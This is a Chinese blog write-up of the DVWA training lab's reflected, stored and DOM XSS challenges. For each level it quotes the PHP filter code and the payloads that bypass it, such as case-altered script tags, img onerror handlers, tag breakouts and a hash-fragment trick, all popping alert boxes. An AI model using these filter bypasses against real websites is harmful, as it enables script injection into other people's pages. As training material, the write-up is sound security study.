dvwa xss通关

反射型XSS通关

low难度

选择难度:

直接用下面JS代码尝试:

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

直接下面代码尝试后失败

复制代码
<script>alert(/xss/)</script>

发现这段代码直接被输出:

尝试修改<script>标签的字母大小写,做大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

通关成功:

high难度

查看源码,做代码审计:

复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

存储型XSS通关

low难度

直接用下面代码尝试

复制代码
<script>alert(/xss/)</script>

如图:

通关成功:

medium难度

查看源码,做代码审计:

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

复制代码
$message = trim( $_POST[ 'mtxMessage' ] );

$message = strip_tags( addslashes( $message ) );

$message = htmlspecialchars( $message );

复制代码
$name = trim( $_POST[ 'txtName' ] );

$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

通关成功:

high难度

查看源码

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

复制代码
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

打开hackbar,在URL中输入

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

查看源代码,做代码审计:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

复制代码
<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

复制代码
/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

high难度

查看源代码:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

复制代码
#<script>alert(/xss/)</script>

通关成功:

相关推荐
龙在天19 小时前
复刻网页彩虹🌈镭射效果
前端
孟祥_成都20 小时前
让 AI 自动写 SQL、读文档,前端也能玩转 Agent! langchain chains 模块解析
前端·人工智能
天蓝色的鱼鱼20 小时前
别再瞎转Base64了!一文打通前端二进制任督二脉
前端
哟哟耶耶20 小时前
Plugin-安装Vue.js devtools6.6.3扩展(组件层级可视化)
前端·javascript·vue.js
梦65021 小时前
【前端实战】图片元素精准定位:无论缩放,元素始终钉在指定位置
前端·html·css3
烟袅21 小时前
一文搞懂 useRef:它到底在“存”什么?
前端·react.js
Knight_AL21 小时前
Vue + Spring Boot 项目统一添加 `/wvp` 访问前缀实践
前端·vue.js·spring boot
前端er小芳21 小时前
前端虚拟列表滚动功能实现与核心知识点详解
前端
wuhen_n21 小时前
Promise状态机与状态流转
前端
3秒一个大21 小时前
React 中的 useMemo 与 useCallback:性能优化的利器
前端·react.js